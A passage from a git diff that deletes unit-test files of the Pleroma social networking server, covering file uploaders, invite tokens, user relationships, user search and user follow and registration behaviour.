%Pleroma.Upload{ - name: "image.jpg", - content_type: "image/jpg", - path: file_path, - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - assert Local.put_file(file) == :ok - - assert Path.join([Local.upload_path(), file_path]) - |> File.exists?() - end - end - - describe "delete_file/1" do - test "deletes local file" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - file_path = "local_upload/files/image.jpg" - - file = %Pleroma.Upload{ - name: "image.jpg", - content_type: "image/jpg", - path: file_path, - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - :ok = Local.put_file(file) - local_path = Path.join([Local.upload_path(), file_path]) - assert File.exists?(local_path) - - Local.delete_file(file_path) - - refute File.exists?(local_path) - end - end -end diff --git a/test/uploaders/s3_test.exs b/test/uploaders/s3_test.exs deleted file mode 100644 index d949c90a5..000000000 --- a/test/uploaders/s3_test.exs +++ /dev/null @@ -1,88 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Uploaders.S3Test do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Uploaders.S3 - - import Mock - import ExUnit.CaptureLog - - setup do: - clear_config(Pleroma.Uploaders.S3, - bucket: "test_bucket", - public_endpoint: "https://s3.amazonaws.com" - ) - - describe "get_file/1" do - test "it returns path to local folder for files" do - assert S3.get_file("test_image.jpg") == { - :ok, - {:url, "https://s3.amazonaws.com/test_bucket/test_image.jpg"} - } - end - - test "it returns path without bucket when truncated_namespace set to ''" do - Config.put([Pleroma.Uploaders.S3], - bucket: "test_bucket", - public_endpoint: "https://s3.amazonaws.com", - truncated_namespace: "" - ) - - assert S3.get_file("test_image.jpg") == { - :ok, - {:url, "https://s3.amazonaws.com/test_image.jpg"} - } - end - - test "it returns path with bucket namespace when namespace is set" do - Config.put([Pleroma.Uploaders.S3], - bucket: "test_bucket", - public_endpoint: "https://s3.amazonaws.com", - bucket_namespace: "family" - ) - - assert S3.get_file("test_image.jpg") == { - :ok, - {:url, "https://s3.amazonaws.com/family:test_bucket/test_image.jpg"} - } - end - end - - describe "put_file/1" do - setup do - file_upload = %Pleroma.Upload{ - name: "image-tet.jpg", - content_type: "image/jpg", - path: "test_folder/image-tet.jpg", - tempfile: Path.absname("test/instance_static/add/shortcode.png") - } - - [file_upload: file_upload] - end - - test "save file", %{file_upload: file_upload} do - with_mock ExAws, request: fn _ -> {:ok, :ok} end do - assert S3.put_file(file_upload) == {:ok, {:file, "test_folder/image-tet.jpg"}} - end - end - - test "returns error", %{file_upload: file_upload} do - with_mock ExAws, request: fn _ -> {:error, "S3 Upload failed"} end do - assert capture_log(fn -> - assert S3.put_file(file_upload) == {:error, "S3 Upload failed"} - end) =~ "Elixir.Pleroma.Uploaders.S3: {:error, \"S3 Upload failed\"}" - end - end - end - - describe "delete_file/1" do - test_with_mock "deletes file", ExAws, request: fn _req -> {:ok, %{status_code: 204}} end do - assert :ok = S3.delete_file("image.jpg") - assert_called(ExAws.request(:_)) - end - end -end diff --git a/test/user/notification_setting_test.exs b/test/user/notification_setting_test.exs deleted file mode 100644 index 308da216a..000000000 --- a/test/user/notification_setting_test.exs +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.NotificationSettingTest do - use Pleroma.DataCase - - alias Pleroma.User.NotificationSetting - - describe "changeset/2" do - test "sets option to hide notification contents" do - changeset = - NotificationSetting.changeset( - %NotificationSetting{}, - %{"hide_notification_contents" => true} - ) - - assert %Ecto.Changeset{valid?: true} = changeset - end - end -end diff --git a/test/user_invite_token_test.exs b/test/user_invite_token_test.exs deleted file mode 100644 index 63f18f13c..000000000 --- a/test/user_invite_token_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserInviteTokenTest do - use ExUnit.Case, async: true - alias Pleroma.UserInviteToken - - describe "valid_invite?/1 one time invites" do - setup do - invite = %UserInviteToken{invite_type: "one_time"} - - {:ok, invite: invite} - end - - test "not used returns true", %{invite: invite} do - invite = %{invite | used: false} - assert UserInviteToken.valid_invite?(invite) - end - - test "used returns false", %{invite: invite} do - invite = %{invite | used: true} - refute UserInviteToken.valid_invite?(invite) - end - end - - describe "valid_invite?/1 reusable invites" do - setup do - invite = %UserInviteToken{ - invite_type: "reusable", - max_use: 5 - } - - {:ok, invite: invite} - end - - test "with less uses then max use returns true", %{invite: invite} do - invite = %{invite | uses: 4} - assert UserInviteToken.valid_invite?(invite) - end - - test "with equal or more uses then max use returns false", %{invite: invite} do - invite = %{invite | uses: 5} - - refute UserInviteToken.valid_invite?(invite) - - invite = %{invite | uses: 6} - - refute UserInviteToken.valid_invite?(invite) - end - end - - describe "valid_token?/1 date limited invites" do - setup do - invite = %UserInviteToken{invite_type: "date_limited"} - {:ok, invite: invite} - end - - test "expires today returns true", %{invite: invite} do - invite = %{invite | expires_at: Date.utc_today()} - assert UserInviteToken.valid_invite?(invite) - end - - test "expires yesterday returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} - refute UserInviteToken.valid_invite?(invite) - end - end - - describe "valid_token?/1 reusable date limited invites" do - setup do - invite = %UserInviteToken{invite_type: "reusable_date_limited", max_use: 5} - {:ok, invite: invite} - end - - test "not overdue date and less uses returns true", %{invite: invite} do - invite = %{invite | expires_at: Date.utc_today(), uses: 4} - assert UserInviteToken.valid_invite?(invite) - end - - test "overdue date and less uses returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} - refute UserInviteToken.valid_invite?(invite) - end - - test "not overdue date with more uses returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.utc_today(), uses: 5} - refute UserInviteToken.valid_invite?(invite) - end - - test "overdue date with more uses returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.add(Date.utc_today(), -1), uses: 5} - refute UserInviteToken.valid_invite?(invite) - end - end -end diff --git a/test/user_relationship_test.exs b/test/user_relationship_test.exs deleted file mode 100644 index f12406097..000000000 --- a/test/user_relationship_test.exs +++ /dev/null @@ -1,130 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserRelationshipTest do - alias Pleroma.UserRelationship - - use Pleroma.DataCase - - import Pleroma.Factory - - describe "*_exists?/2" do - setup do - {:ok, users: insert_list(2, :user)} - end - - test "returns false if record doesn't exist", %{users: [user1, user2]} do - refute UserRelationship.block_exists?(user1, user2) - refute UserRelationship.mute_exists?(user1, user2) - refute UserRelationship.notification_mute_exists?(user1, user2) - refute UserRelationship.reblog_mute_exists?(user1, user2) - refute UserRelationship.inverse_subscription_exists?(user1, user2) - end - - test "returns true if record exists", %{users: [user1, user2]} do - for relationship_type <- [ - :block, - :mute, - :notification_mute, - :reblog_mute, - :inverse_subscription - ] do - insert(:user_relationship, - source: user1, - target: user2, - relationship_type: relationship_type - ) - end - - assert UserRelationship.block_exists?(user1, user2) - assert UserRelationship.mute_exists?(user1, user2) - assert UserRelationship.notification_mute_exists?(user1, user2) - assert UserRelationship.reblog_mute_exists?(user1, user2) - assert UserRelationship.inverse_subscription_exists?(user1, user2) - end - end - - describe "create_*/2" do - setup do - {:ok, users: insert_list(2, :user)} - end - - test "creates user relationship record if it doesn't exist", %{users: [user1, user2]} do - for relationship_type <- [ - :block, - :mute, - :notification_mute, - :reblog_mute, - :inverse_subscription - ] do - insert(:user_relationship, - source: user1, - target: user2, - relationship_type: relationship_type - ) - end - - UserRelationship.create_block(user1, user2) - UserRelationship.create_mute(user1, user2) - UserRelationship.create_notification_mute(user1, user2) - UserRelationship.create_reblog_mute(user1, user2) - UserRelationship.create_inverse_subscription(user1, user2) - - assert UserRelationship.block_exists?(user1, user2) - assert UserRelationship.mute_exists?(user1, user2) - assert UserRelationship.notification_mute_exists?(user1, user2) - assert UserRelationship.reblog_mute_exists?(user1, user2) - assert UserRelationship.inverse_subscription_exists?(user1, user2) - end - - test "if record already exists, returns it", %{users: [user1, user2]} do - user_block = UserRelationship.create_block(user1, user2) - assert user_block == UserRelationship.create_block(user1, user2) - end - end - - describe "delete_*/2" do - setup do - {:ok, users: insert_list(2, :user)} - end - - test "deletes user relationship record if it exists", %{users: [user1, user2]} do - for relationship_type <- [ - :block, - :mute, - :notification_mute, - :reblog_mute, - :inverse_subscription - ] do - insert(:user_relationship, - source: user1, - target: user2, - relationship_type: relationship_type - ) - end - - assert {:ok, %UserRelationship{}} = UserRelationship.delete_block(user1, user2) - assert {:ok, %UserRelationship{}} = UserRelationship.delete_mute(user1, user2) - assert {:ok, %UserRelationship{}} = UserRelationship.delete_notification_mute(user1, user2) - assert {:ok, %UserRelationship{}} = UserRelationship.delete_reblog_mute(user1, user2) - - assert {:ok, %UserRelationship{}} = - UserRelationship.delete_inverse_subscription(user1, user2) - - refute UserRelationship.block_exists?(user1, user2) - refute UserRelationship.mute_exists?(user1, user2) - refute UserRelationship.notification_mute_exists?(user1, user2) - refute UserRelationship.reblog_mute_exists?(user1, user2) - refute UserRelationship.inverse_subscription_exists?(user1, user2) - end - - test "if record does not exist, returns {:ok, nil}", %{users: [user1, user2]} do - assert {:ok, nil} = UserRelationship.delete_block(user1, user2) - assert {:ok, nil} = UserRelationship.delete_mute(user1, user2) - assert {:ok, nil} = UserRelationship.delete_notification_mute(user1, user2) - assert {:ok, nil} = UserRelationship.delete_reblog_mute(user1, user2) - assert {:ok, nil} = UserRelationship.delete_inverse_subscription(user1, user2) - end - end -end diff --git a/test/user_search_test.exs b/test/user_search_test.exs deleted file mode 100644 index c4b805005..000000000 --- a/test/user_search_test.exs +++ /dev/null @@ -1,362 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserSearchTest do - alias Pleroma.Repo - alias Pleroma.User - use Pleroma.DataCase - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "User.search" do - setup do: clear_config([:instance, :limit_to_local_content]) - - test "returns a resolved user as the first result" do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) - _user = insert(:user, %{nickname: "com_user"}) - - [first_user, _second_user] = User.search("https://lain.com/users/lain", resolve: true) - - assert first_user.id == user.id - end - - test "returns a user with matching ap_id as the first result" do - user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) - _user = insert(:user, %{nickname: "com_user"}) - - [first_user, _second_user] = User.search("https://lain.com/users/lain") - - assert first_user.id == user.id - end - - test "doesn't die if two users have the same uri" do - insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) - insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) - assert [_first_user, _second_user] = User.search("https://gensokyo.2hu/@raymoo") - end - - test "returns a user with matching uri as the first result" do - user = - insert(:user, %{ - nickname: "no_relation", - ap_id: "https://lain.com/users/lain", - uri: "https://lain.com/@lain" - }) - - _user = insert(:user, %{nickname: "com_user"}) - - [first_user, _second_user] = User.search("https://lain.com/@lain") - - assert first_user.id == user.id - end - - test "excludes invisible users from results" do - user = insert(:user, %{nickname: "john t1000"}) - insert(:user, %{invisible: true, nickname: "john t800"}) - - [found_user] = User.search("john") - assert found_user.id == user.id - end - - test "excludes users when discoverable is false" do - insert(:user, %{nickname: "john 3000", discoverable: false}) - insert(:user, %{nickname: "john 3001"}) - - users = User.search("john") - assert Enum.count(users) == 1 - end - - test "excludes service actors from results" do - insert(:user, actor_type: "Application", nickname: "user1") - service = insert(:user, actor_type: "Service", nickname: "user2") - person = insert(:user, actor_type: "Person", nickname: "user3") - - assert [found_user1, found_user2] = User.search("user") - assert [found_user1.id, found_user2.id] -- [service.id, person.id] == [] - end - - test "accepts limit parameter" do - Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) - assert length(User.search("john", limit: 3)) == 3 - assert length(User.search("john")) == 5 - end - - test "accepts offset parameter" do - Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) - assert length(User.search("john", limit: 3)) == 3 - assert length(User.search("john", limit: 3, offset: 3)) == 2 - end - - defp clear_virtual_fields(user) do - Map.merge(user, %{search_rank: nil, search_type: nil}) - end - - test "finds a user by full nickname or its leading fragment" do - user = insert(:user, %{nickname: "john"}) - - Enum.each(["john", "jo", "j"], fn query -> - assert user == - User.search(query) - |> List.first() - |> clear_virtual_fields() - end) - end - - test "finds a user by full name or leading fragment(s) of its words" do - user = insert(:user, %{name: "John Doe"}) - - Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn query -> - assert user == - User.search(query) - |> List.first() - |> clear_virtual_fields() - end) - end - - test "matches by leading fragment of user domain" do - user = insert(:user, %{nickname: "arandom@dude.com"}) - insert(:user, %{nickname: "iamthedude"}) - - assert [user.id] == User.search("dud") |> Enum.map(& &1.id) - end - - test "ranks full nickname match higher than full name match" do - nicknamed_user = insert(:user, %{nickname: "hj@shigusegubu.club"}) - named_user = insert(:user, %{nickname: "xyz@sample.com", name: "HJ"}) - - results = User.search("hj") - - assert [nicknamed_user.id, named_user.id] == Enum.map(results, & &1.id) - assert Enum.at(results, 0).search_rank > Enum.at(results, 1).search_rank - end - - test "finds users, considering density of matched tokens" do - u1 = insert(:user, %{name: "Bar Bar plus Word Word"}) - u2 = insert(:user, %{name: "Word Word Bar Bar Bar"}) - - assert [u2.id, u1.id] == Enum.map(User.search("bar word"), & &1.id) - end - - test "finds users, boosting ranks of friends and followers" do - u1 = insert(:user) - u2 = insert(:user, %{name: "Doe"}) - follower = insert(:user, %{name: "Doe"}) - friend = insert(:user, %{name: "Doe"}) - - {:ok, follower} = User.follow(follower, u1) - {:ok, u1} = User.follow(u1, friend) - - assert [friend.id, follower.id, u2.id] -- - Enum.map(User.search("doe", resolve: false, for_user: u1), & &1.id) == [] - end - - test "finds followings of user by partial name" do - lizz = insert(:user, %{name: "Lizz"}) - jimi = insert(:user, %{name: "Jimi"}) - following_lizz = insert(:user, %{name: "Jimi Hendrix"}) - following_jimi = insert(:user, %{name: "Lizz Wright"}) - follower_lizz = insert(:user, %{name: "Jimi"}) - - {:ok, lizz} = User.follow(lizz, following_lizz) - {:ok, _jimi} = User.follow(jimi, following_jimi) - {:ok, _follower_lizz} = User.follow(follower_lizz, lizz) - - assert Enum.map(User.search("jimi", following: true, for_user: lizz), & &1.id) == [ - following_lizz.id - ] - - assert User.search("lizz", following: true, for_user: lizz) == [] - end - - test "find local and remote users for authenticated users" do - u1 = insert(:user, %{name: "lain"}) - u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - results = - "lain" - |> User.search(for_user: u1) - |> Enum.map(& &1.id) - |> Enum.sort() - - assert [u1.id, u2.id, u3.id] == results - end - - test "find only local users for unauthenticated users" do - %{id: id} = insert(:user, %{name: "lain"}) - insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - assert [%{id: ^id}] = User.search("lain") - end - - test "find only local users for authenticated users when `limit_to_local_content` is `:all`" do - Pleroma.Config.put([:instance, :limit_to_local_content], :all) - - %{id: id} = insert(:user, %{name: "lain"}) - insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - assert [%{id: ^id}] = User.search("lain") - end - - test "find all users for unauthenticated users when `limit_to_local_content` is `false`" do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - - u1 = insert(:user, %{name: "lain"}) - u2 = insert(:user, %{name: "ebn", nickname: "lain@mastodon.social", local: false}) - u3 = insert(:user, %{nickname: "lain@pleroma.soykaf.com", local: false}) - - results = - "lain" - |> User.search() - |> Enum.map(& &1.id) - |> Enum.sort() - - assert [u1.id, u2.id, u3.id] == results - end - - test "does not yield false-positive matches" do - insert(:user, %{name: "John Doe"}) - - Enum.each(["mary", "a", ""], fn query -> - assert [] == User.search(query) - end) - end - - test "works with URIs" do - user = insert(:user) - - results = - User.search("http://mastodon.example.org/users/admin", resolve: true, for_user: user) - - result = results |> List.first() - - user = User.get_cached_by_ap_id("http://mastodon.example.org/users/admin") - - assert length(results) == 1 - - expected = - result - |> Map.put(:search_rank, nil) - |> Map.put(:search_type, nil) - |> Map.put(:last_digest_emailed_at, nil) - |> Map.put(:multi_factor_authentication_settings, nil) - |> Map.put(:notification_settings, nil) - - assert user == expected - end - - test "excludes a blocked users from search result" do - user = insert(:user, %{nickname: "Bill"}) - - [blocked_user | users] = Enum.map(0..3, &insert(:user, %{nickname: "john#{&1}"})) - - blocked_user2 = - insert( - :user, - %{nickname: "john awful", ap_id: "https://awful-and-rude-instance.com/user/bully"} - ) - - User.block_domain(user, "awful-and-rude-instance.com") - User.block(user, blocked_user) - - account_ids = User.search("john", for_user: refresh_record(user)) |> collect_ids - - assert account_ids == collect_ids(users) - refute Enum.member?(account_ids, blocked_user.id) - refute Enum.member?(account_ids, blocked_user2.id) - assert length(account_ids) == 3 - end - - test "local user has the same search_rank as for users with the same nickname, but another domain" do - user = insert(:user) - insert(:user, nickname: "lain@mastodon.social") - insert(:user, nickname: "lain") - insert(:user, nickname: "lain@pleroma.social") - - assert User.search("lain@localhost", resolve: true, for_user: user) - |> Enum.each(fn u -> u.search_rank == 0.5 end) - end - - test "localhost is the part of the domain" do - user = insert(:user) - insert(:user, nickname: "another@somedomain") - insert(:user, nickname: "lain") - insert(:user, nickname: "lain@examplelocalhost") - - result = User.search("lain@examplelocalhost", resolve: true, for_user: user) - assert Enum.each(result, fn u -> u.search_rank == 0.5 end) - assert length(result) == 2 - end - - test "local user search with users" do - user = insert(:user) - local_user = insert(:user, nickname: "lain") - insert(:user, nickname: "another@localhost.com") - insert(:user, nickname: "localhost@localhost.com") - - [result] = User.search("lain@localhost", resolve: true, for_user: user) - assert Map.put(result, :search_rank, nil) |> Map.put(:search_type, nil) == local_user - end - - test "works with idna domains" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = User.search("lain@zetsubou.みんな", resolve: false, for_user: user) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - - test "works with idna domains converted input" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = - User.search("lain@zetsubou." <> to_string(:idna.encode("zetsubou.みんな")), - resolve: false, - for_user: user - ) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - - test "works with idna domains and bad chars in domain" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = - User.search("lain@zetsubou!@#$%^&*()+,-/:;<=>?[]'_{}|~`.みんな", - resolve: false, - for_user: user - ) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - - test "works with idna domains and query as link" do - user = insert(:user, nickname: "lain@" <> to_string(:idna.encode("zetsubou.みんな"))) - - results = - User.search("https://zetsubou.みんな/users/lain", - resolve: false, - for_user: user - ) - - result = List.first(results) - - assert user == result |> Map.put(:search_rank, nil) |> Map.put(:search_type, nil) - end - end -end diff --git a/test/user_test.exs b/test/user_test.exs deleted file mode 100644 index d506f7047..000000000 --- a/test/user_test.exs +++ /dev/null @@ -1,2124 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserTest do - alias Pleroma.Activity - alias Pleroma.Builders.UserBuilder - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - import Pleroma.Factory - import ExUnit.CaptureLog - import Swoosh.TestAssertions - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :account_activation_required]) - - describe "service actors" do - test "returns updated invisible actor" do - uri = "#{Pleroma.Web.Endpoint.url()}/relay" - followers_uri = "#{uri}/followers" - - insert( - :user, - %{ - nickname: "relay", - invisible: false, - local: true, - ap_id: uri, - follower_address: followers_uri - } - ) - - actor = User.get_or_create_service_actor_by_ap_id(uri, "relay") - assert actor.invisible - end - - test "returns relay user" do - uri = "#{Pleroma.Web.Endpoint.url()}/relay" - followers_uri = "#{uri}/followers" - - assert %User{ - nickname: "relay", - invisible: true, - local: true, - ap_id: ^uri, - follower_address: ^followers_uri - } = User.get_or_create_service_actor_by_ap_id(uri, "relay") - - assert capture_log(fn -> - refute User.get_or_create_service_actor_by_ap_id("/relay", "relay") - end) =~ "Cannot create service actor:" - end - - test "returns invisible actor" do - uri = "#{Pleroma.Web.Endpoint.url()}/internal/fetch-test" - followers_uri = "#{uri}/followers" - user = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") - - assert %User{ - nickname: "internal.fetch-test", - invisible: true, - local: true, - ap_id: ^uri, - follower_address: ^followers_uri - } = user - - user2 = User.get_or_create_service_actor_by_ap_id(uri, "internal.fetch-test") - assert user.id == user2.id - end - end - - describe "AP ID user relationships" do - setup do - {:ok, user: insert(:user)} - end - - test "outgoing_relationships_ap_ids/1", %{user: user} do - rel_types = [:block, :mute, :notification_mute, :reblog_mute, :inverse_subscription] - - ap_ids_by_rel = - Enum.into( - rel_types, - %{}, - fn rel_type -> - rel_records = - insert_list(2, :user_relationship, %{source: user, relationship_type: rel_type}) - - ap_ids = Enum.map(rel_records, fn rr -> Repo.preload(rr, :target).target.ap_id end) - {rel_type, Enum.sort(ap_ids)} - end - ) - - assert ap_ids_by_rel[:block] == Enum.sort(User.blocked_users_ap_ids(user)) - assert ap_ids_by_rel[:block] == Enum.sort(Enum.map(User.blocked_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:mute] == Enum.sort(User.muted_users_ap_ids(user)) - assert ap_ids_by_rel[:mute] == Enum.sort(Enum.map(User.muted_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:notification_mute] == - Enum.sort(User.notification_muted_users_ap_ids(user)) - - assert ap_ids_by_rel[:notification_mute] == - Enum.sort(Enum.map(User.notification_muted_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:reblog_mute] == Enum.sort(User.reblog_muted_users_ap_ids(user)) - - assert ap_ids_by_rel[:reblog_mute] == - Enum.sort(Enum.map(User.reblog_muted_users(user), & &1.ap_id)) - - assert ap_ids_by_rel[:inverse_subscription] == Enum.sort(User.subscriber_users_ap_ids(user)) - - assert ap_ids_by_rel[:inverse_subscription] == - Enum.sort(Enum.map(User.subscriber_users(user), & &1.ap_id)) - - outgoing_relationships_ap_ids = User.outgoing_relationships_ap_ids(user, rel_types) - - assert ap_ids_by_rel == - Enum.into(outgoing_relationships_ap_ids, %{}, fn {k, v} -> {k, Enum.sort(v)} end) - end - end - - describe "when tags are nil" do - test "tagging a user" do - user = insert(:user, %{tags: nil}) - user = User.tag(user, ["cool", "dude"]) - - assert "cool" in user.tags - assert "dude" in user.tags - end - - test "untagging a user" do - user = insert(:user, %{tags: nil}) - user = User.untag(user, ["cool", "dude"]) - - assert user.tags == [] - end - end - - test "ap_id returns the activity pub id for the user" do - user = UserBuilder.build() - - expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}" - - assert expected_ap_id == User.ap_id(user) - end - - test "ap_followers returns the followers collection for the user" do - user = UserBuilder.build() - - expected_followers_collection = "#{User.ap_id(user)}/followers" - - assert expected_followers_collection == User.ap_followers(user) - end - - test "ap_following returns the following collection for the user" do - user = UserBuilder.build() - - expected_followers_collection = "#{User.ap_id(user)}/following" - - assert expected_followers_collection == User.ap_following(user) - end - - test "returns all pending follow requests" do - unlocked = insert(:user) - locked = insert(:user, locked: true) - follower = insert(:user) - - CommonAPI.follow(follower, unlocked) - CommonAPI.follow(follower, locked) - - assert [] = User.get_follow_requests(unlocked) - assert [activity] = User.get_follow_requests(locked) - - assert activity - end - - test "doesn't return already accepted or duplicate follow requests" do - locked = insert(:user, locked: true) - pending_follower = insert(:user) - accepted_follower = insert(:user) - - CommonAPI.follow(pending_follower, locked) - CommonAPI.follow(pending_follower, locked) - CommonAPI.follow(accepted_follower, locked) - - Pleroma.FollowingRelationship.update(accepted_follower, locked, :follow_accept) - - assert [^pending_follower] = User.get_follow_requests(locked) - end - - test "doesn't return follow requests for deactivated accounts" do - locked = insert(:user, locked: true) - pending_follower = insert(:user, %{deactivated: true}) - - CommonAPI.follow(pending_follower, locked) - - assert true == pending_follower.deactivated - assert [] = User.get_follow_requests(locked) - end - - test "clears follow requests when requester is blocked" do - followed = insert(:user, locked: true) - follower = insert(:user) - - CommonAPI.follow(follower, followed) - assert [_activity] = User.get_follow_requests(followed) - - {:ok, _user_relationship} = User.block(followed, follower) - assert [] = User.get_follow_requests(followed) - end - - test "follow_all follows mutliple users" do - user = insert(:user) - followed_zero = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - blocked = insert(:user) - not_followed = insert(:user) - reverse_blocked = insert(:user) - - {:ok, _user_relationship} = User.block(user, blocked) - {:ok, _user_relationship} = User.block(reverse_blocked, user) - - {:ok, user} = User.follow(user, followed_zero) - - {:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked]) - - assert User.following?(user, followed_one) - assert User.following?(user, followed_two) - assert User.following?(user, followed_zero) - refute User.following?(user, not_followed) - refute User.following?(user, blocked) - refute User.following?(user, reverse_blocked) - end - - test "follow_all follows mutliple users without duplicating" do - user = insert(:user) - followed_zero = insert(:user) - followed_one = insert(:user) - followed_two = insert(:user) - - {:ok, user} = User.follow_all(user, [followed_zero, followed_one]) - assert length(User.following(user)) == 3 - - {:ok, user} = User.follow_all(user, [followed_one, followed_two]) - assert length(User.following(user)) == 4 - end - - test "follow takes a user and another user" do - user = insert(:user) - followed = insert(:user) - - {:ok, user} = User.follow(user, followed) - - user = User.get_cached_by_id(user.id) - followed = User.get_cached_by_ap_id(followed.ap_id) - - assert followed.follower_count == 1 - assert user.following_count == 1 - - assert User.ap_followers(followed) in User.following(user) - end - - test "can't follow a deactivated users" do - user = insert(:user) - followed = insert(:user, %{deactivated: true}) - - {:error, _} = User.follow(user, followed) - end - - test "can't follow a user who blocked us" do - blocker = insert(:user) - blockee = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blockee) - - {:error, _} = User.follow(blockee, blocker) - end - - test "can't subscribe to a user who blocked us" do - blocker = insert(:user) - blocked = insert(:user) - - {:ok, _user_relationship} = User.block(blocker, blocked) - - {:error, _} = User.subscribe(blocked, blocker) - end - - test "local users do not automatically follow local locked accounts" do - follower = insert(:user, locked: true) - followed = insert(:user, locked: true) - - {:ok, follower} = User.maybe_direct_follow(follower, followed) - - refute User.following?(follower, followed) - end - - describe "unfollow/2" do - setup do: clear_config([:instance, :external_user_synchronization]) - - test "unfollow with syncronizes external user" do - Pleroma.Config.put([:instance, :external_user_synchronization], true) - - followed = - insert(:user, - nickname: "fuser1", - follower_address: "http://localhost:4001/users/fuser1/followers", - following_address: "http://localhost:4001/users/fuser1/following", - ap_id: "http://localhost:4001/users/fuser1" - ) - - user = - insert(:user, %{ - local: false, - nickname: "fuser2", - ap_id: "http://localhost:4001/users/fuser2", - follower_address: "http://localhost:4001/users/fuser2/followers", - following_address: "http://localhost:4001/users/fuser2/following" - }) - - {:ok, user} = User.follow(user, followed, :follow_accept) - - {:ok, user, _activity} = User.unfollow(user, followed) - - user = User.get_cached_by_id(user.id) - - assert User.following(user) == [] - end - - test "unfollow takes a user and another user" do - followed = insert(:user) - user = insert(:user) - - {:ok, user} = User.follow(user, followed, :follow_accept) - - assert User.following(user) == [user.follower_address, followed.follower_address] - - {:ok, user, _activity} = User.unfollow(user, followed) - - assert User.following(user) == [user.follower_address] - end - - test "unfollow doesn't unfollow yourself" do - user = insert(:user) - - {:error, _} = User.unfollow(user, user) - - assert User.following(user) == [user.follower_address] - end - end - - test "test if a user is following another user" do - followed = insert(:user) - user = insert(:user) - User.follow(user, followed, :follow_accept) - - assert User.following?(user, followed) - refute User.following?(followed, user) - end - - test "fetches correct profile for nickname beginning with number" do - # Use old-style integer ID to try to reproduce the problem - user = insert(:user, %{id: 1080}) - user_with_numbers = insert(:user, %{nickname: "#{user.id}garbage"}) - assert user_with_numbers == User.get_cached_by_nickname_or_id(user_with_numbers.nickname) - end - - describe "user registration" do - @full_user_data %{ - bio: "A guy", - name: "my name", - nickname: "nick", - password: "test", - password_confirmation: "test", - email: "email@example.com" - } - - setup do: clear_config([:instance, :autofollowed_nicknames]) - setup do: clear_config([:welcome]) - setup do: clear_config([:instance, :account_activation_required]) - - test "it autofollows accounts that are set for it" do - user = insert(:user) - remote_user = insert(:user, %{local: false}) - - Pleroma.Config.put([:instance, :autofollowed_nicknames], [ - user.nickname, - remote_user.nickname - ]) - - cng = User.register_changeset(%User{}, @full_user_data) - - {:ok, registered_user} = User.register(cng) - - assert User.following?(registered_user, user) - 